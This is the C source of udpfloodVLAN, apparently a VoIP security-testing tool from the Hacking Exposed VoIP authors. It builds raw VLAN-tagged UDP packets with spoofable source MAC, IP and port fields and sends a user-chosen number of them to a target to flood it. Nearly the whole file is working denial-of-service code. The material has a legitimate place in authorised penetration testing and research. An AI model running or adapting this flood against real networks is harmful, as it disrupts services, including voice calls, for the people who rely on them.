//------------------------------------------------------------------------------- // // udpfloodVLAN.c - Command line tool to attempt to flood // the specified destination MAC with the specified // number of UDP packets. Command line parms // permit the TOS byte in the IP Header, and the // user-priority field and the VLAN ID of the 802.1Q // Ethernet header to be set explicitly. // // Copyright (C) 2006 Mark D. Collier/Mark O'Brien // // This program is free software; you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation; either version 2 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with this program; if not, write to the Free Software // Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. // // Author: Mark D. Collier/Mark O'Brien - 06/09/2006 v2.0 // Mark D. Collier/Mark O'Brien - 10/04/2004 v1.0 // www.securelogix.com - mark.collier@securelogix.com // www.hackingexposedvoip.com // //------------------------------------------------------------------------------- #include "udpfloodVLAN.h" int main ( int argc, char *argv[] ) { signal ( SIGTERM, catch_signals ); signal ( SIGINT, catch_signals ); if ( argc < 12 ) // at least 11 mandatory parms + command itself { usage (); }; // // parse the command line // while (( opt = getopt ( argc, argv, "s:v" ) ) != EOF) { switch (opt) { case 's': udpPayloadSize = atoi ( optarg ); // UDP bearer data size break; case 'v': // verbose option bVerbose = true; break; case 'h': // usage case '?': usage( ); break; } } // getopt permutes the order of the parms in argv[] placing non-optional parms // at the end of argv. optind should be the index of the 1st mandatory non-optional // parm in argv[] and there must be exactly 11 non-optional mandatory parms: if ( optind != (argc - 11) ) { usage (); } if ( udpPayloadSize < 1 || udpPayloadSize > __UDPFLOODVLAN_MAX_UDP_PAYLOAD_SIZE ) { printf ( "\n\nOptional UDP Payload Size Range = 1 to %d bytes\n", __UDPFLOODVLAN_MAX_UDP_PAYLOAD_SIZE ); usage (); } psDevice = argv[optind++]; psSrcMAC = argv[optind++]; // Convert source MAC to form usable by libnet if ( ! ( pSrcMAC = (char *) libnet_hex_aton ( (int8_t *) psSrcMAC, &len ) ) ) { printf ( "\n\nMAC format - xx:xx:xx:xx:xx:xx\n" ); usage (); } psDestMAC = argv[optind++]; // Convert destination MAC to form usable by libnet if ( ! ( pDestMAC = libnet_hex_aton ( psDestMAC, &len ) ) ) { printf ( "\n\nMAC format - xx:xx:xx:xx:xx:xx\n" ); free ( pSrcMAC ); usage (); } psSrcIPv4Addr = argv[optind++]; psTempIPv4Addr = strdup ( psSrcIPv4Addr ); // Str2IP returns the numeric IP address in network byte order. if ( Str2IP ( psTempIPv4Addr, &srcIPv4Addr ) != EXIT_SUCCESS ) { printf ( "\nsource IPv4 addr invalid: %s\n", psSrcIPv4Addr ); free ( psTempIPv4Addr ); free ( pSrcMAC ); free ( pDestMAC ); usage (); } free ( psTempIPv4Addr ); psTempIPv4Addr = NULL; psDestIPv4Addr = argv[optind++]; psTempIPv4Addr = strdup ( psDestIPv4Addr ); // Str2IP returns the numeric IP address in network byte order. if ( Str2IP ( psTempIPv4Addr, &destIPv4Addr ) != EXIT_SUCCESS ) { printf ( "\ndestination IPv4 addr invalid: %s\n", psDestIPv4Addr ); free ( psTempIPv4Addr ); free ( pSrcMAC ); free ( pDestMAC ); usage (); } free ( psTempIPv4Addr ); psTempIPv4Addr = NULL; srcPort = atoi ( argv[optind++] ); destPort = atoi ( argv[optind++] ); if ( srcPort < 0 || srcPort > 65535 || destPort < 0 || destPort > 65535 ) { printf( "\n\nPort range = 0 to 65535\n" ); free ( pSrcMAC ); free ( pDestMAC ); usage (); } if ( sscanf ( argv[optind++], "%x", &ipTOS ) != 1 ) { printf( "\nIP Header TOS must be a byte value\n" ); free ( pSrcMAC ); free ( pDestMAC ); usage (); } if ( ipTOS < 0 || ipTOS > 255 ) { printf( "\n\nIP Type Of Service (TOS) range 0x00 to 0xFF\n" ); free ( pSrcMAC ); free ( pDestMAC ); usage (); } etherUserPriority = atoi ( argv[optind++] ); if ( etherUserPriority < 0 || etherUserPriority > 7 ) { printf ( "\n\nEthernet user_priority range 0 to 7\n" ); free ( pSrcMAC ); free ( pDestMAC ); usage (); } vlanID = atoi( argv[optind++] ); if ( vlanID < 0 || vlanID > 4095 ) { printf( "\n\nVLAN ID range 0 to 4095\n" ); free ( pSrcMAC ); free ( pDestMAC ); usage (); } numPackets = atoi (argv[optind++] ); if ( numPackets < 0 ) { printf( "\n\nFlood Stage (# packets) must be positive\n" ); free ( pSrcMAC ); free ( pDestMAC ); usage (); } // Print summary of command line inputs printf ( "\n%s\n", __UDPFLOODVLAN_VERSION ); printf ( "%s\n", __UDPFLOODVLAN_DATE ); printf ( "\nsrc port: %d", srcPort ); printf ( "\nsrc IPv4 addr: %s", psSrcIPv4Addr ); printf ( "\nsrc MAC addr: %s\n", psSrcMAC ); printf ( "\ndest port: %d", destPort ); printf ( "\ndest IPv4 addr: %s", psDestIPv4Addr ); printf ( "\ndest MAC addr: %s\n", psDestMAC ); printf ( "\nIP Header TOS byte value: 0x%x", ipTOS ); printf ( "\nEthernet 802.1Q User Priority: %d", etherUserPriority ); printf ( "\nVLAN ID: %d\n", vlanID ); printf( "\nUDP packet payload size (bytes): %d\n", udpPayloadSize ); if ( bVerbose ) { printf( "\nVerbose mode" ); } printf( "\n\nFlooding destination with %d packets\n", numPackets ); // Allocate the UDP payload and initialize to an easily recognizable pattern psUdpPayload = (char *) malloc ( udpPayloadSize ); if ( !psUdpPayload ) { perror( "\n malloc failure for udpPayload" ); CleanupAndExit ( EXIT_FAILURE ); } for ( i = 0; i < udpPayloadSize; i++ ) { psUdpPayload[i] = pattern[i % __UDPFLOODVLAN_PATTERN_SIZE]; } // Initialize the library. Root privileges are required. l = libnet_init ( LIBNET_LINK_ADV, // injection type psDevice, // network interface errbuf ); // errbuf if ( l == NULL ) { fprintf ( stderr, "libnet_init() failed: %s", errbuf ); CleanupAndExit ( EXIT_FAILURE ); } udp_tag = libnet_build_udp ( srcPort, // source port destPort, // destination port LIBNET_UDP_H + udpPayloadSize, // total UDP packet length 0, // let libnet compute checksum psUdpPayload, // payload udpPayloadSize, // payload length l, // libnet handle udp_tag ); // ptag - 0 = build new, !0 = reuse if ( udp_tag == -1 ) { printf( "Can't build UDP packet: %s\n", libnet_geterror ( l ) ); CleanupAndExit ( EXIT_FAILURE ); } // // Note: libnet seems to have problems computing correct UDP checksums // reliably. Since the UDP checksum is optional, it can be set to zeros // (i.e. see the call to libnet_build_udp above) and a call to // libnet_toggle_checksum() can be used to disable the checksum // calculation by libnet // libnet_toggle_checksum ( l, udp_tag, LIBNET_OFF ); // ip header construction ipPacketSize = LIBNET_IPV4_H + LIBNET_UDP_H + udpPayloadSize; ip_tag = libnet_build_ipv4 ( ipPacketSize, // size (char) ipTOS, // ip tos 0, // ip id 0, // fragmentation bits 64, // ttl IPPROTO_UDP, // protocol 0, // let libnet compute checksum srcIPv4Addr, // source address destIPv4Addr, // destination address NULL, // payload 0, // payload length l, // libnet context ip_tag ); // ptag - 0 = build new, !0 = reuse if ( ip_tag == -1 ) { printf ( "Can't build IP header: %s\n", libnet_geterror ( l ) ); CleanupAndExit ( EXIT_FAILURE ); } ether_tag = libnet_build_802_1q ( pDestMAC, // dest mac pSrcMAC, // source mac ETHERTYPE_VLAN, // TPI etherUserPriority, // priority (0 - 7) 0x000, // CFI flag vlanID, // vid (0 - 4095) ETHERTYPE_IP, NULL, // payload 0, // payload size l, // libnet handle 0 ); // libnet id if ( ether_tag == -1 ) { printf ( "Can't build 802.1q header: %s\n", libnet_geterror ( l ) ); CleanupAndExit ( EXIT_FAILURE ); } rc = libnet_adv_cull_packet ( l, &pEtherPacket, ðerPacketSize ); if ( rc == -1 ) { fprintf ( stderr, "Could not cull packet: %s\n", libnet_geterror ( l ) ); CleanupAndExit ( EXIT_FAILURE ); } if ( bVerbose ) { DumpPacket ( pEtherPacket, etherPacketSize ); } // Release the flood for ( i = 0; i < numPackets; i++ ) { bytesWritten = libnet_adv_write_link ( l, pEtherPacket, etherPacketSize ); if ( bytesWritten == -1 ) { fprintf ( stderr, "Write error: %s\n", libnet_geterror( l ) ); CleanupAndExit ( EXIT_FAILURE ); } // make sure the number of written bytes jives with what we expect if ( bytesWritten < etherPacketSize ) { fprintf ( stderr, "Write error: libnet only wrote %d of %d bytes", bytesWritten, etherPacketSize ); CleanupAndExit ( EXIT_FAILURE ); } printf( "\r%d", i+1 ); // Report # packets sent } // end release the flood printf ( "\n\n" ); CleanupAndExit ( EXIT_SUCCESS ); } // end main //----------------------------------------------------------------------------- // catch_signals // // signal catcher and handler // arg1: (int) signal number // ret: none, we exit the program from here //----------------------------------------------------------------------------- void catch_signals (int signo) { switch (signo) { case SIGINT: case SIGTERM: { printf ("\nexiting...\n"); CleanupAndExit ( EXIT_SUCCESS ); } } } // end catch_signals //----------------------------------------------------------------------------- // CleanupAndExit // // arg1: (int) status to report i.e. EXIT_SUCCESS or EXIT_FAILURE //----------------------------------------------------------------------------- void CleanupAndExit ( int status ) { if ( psUdpPayload ) { free ( psUdpPayload ); psUdpPayload = NULL; } if ( pDestMAC ) { free ( pDestMAC ); psDestMAC = NULL; } if ( pSrcMAC ) { free ( pSrcMAC ); psSrcMAC = NULL; } if ( pEtherPacket ) { libnet_adv_free_packet ( l, pEtherPacket ); pEtherPacket = NULL; } if ( l ) { libnet_destroy ( l ); l = NULL; } exit ( status ); } // end CleanupAndExit //------------------------------------------------------------------------------- // usage // // ret: none //------------------------------------------------------------------------------- void usage () { printf ( "\n%s", __UDPFLOODVLAN_VERSION ); printf ( "\n%s", __UDPFLOODVLAN_DATE ); printf ( "\n Usage:" ); printf ( "\n Mandatory -" ); printf ( "\n\tinterface (e.g. eth0)" ); printf ( "\n\tsrcMAC (xx:xx:xx:xx:xx:xx)" ); printf ( "\n\tdestMAC (xx:xx:xx:xx:xx:xx)" ); printf ( "\n\tsrcIPv4Addr (ddd.ddd.ddd.ddd)" ); printf ( "\n\tdestIPv4Addr (ddd.ddd.ddd.ddd)" ); printf ( "\n\tsrcPort (0 - 65535)" ); printf ( "\n\tdestPort (0 - 65535)" ); printf ( "\n\tIP Type Of Service (TOS) value (0x00 - 0xFF)" ); printf ( "\n\tEthernet user_priority (e.g. 0 - 7)" ); printf ( "\n\tVLAN ID (e.g. 0 - 4095)" ); printf ( "\n\tflood stage (i.e. number of packets)" ); printf ( "\n Optional -" ); printf ( "\n \t-s UDP payload size in bytes (e.g. 1 - %d) [default %d]", __UDPFLOODVLAN_MAX_UDP_PAYLOAD_SIZE, __UDPFLOODVLAN_DEFAULT_UDP_PAYLOAD_SIZE ); printf ( "\n \t-v verbose output mode\n" ); printf ( "\n\n" ); exit ( EXIT_FAILURE ); } // end usage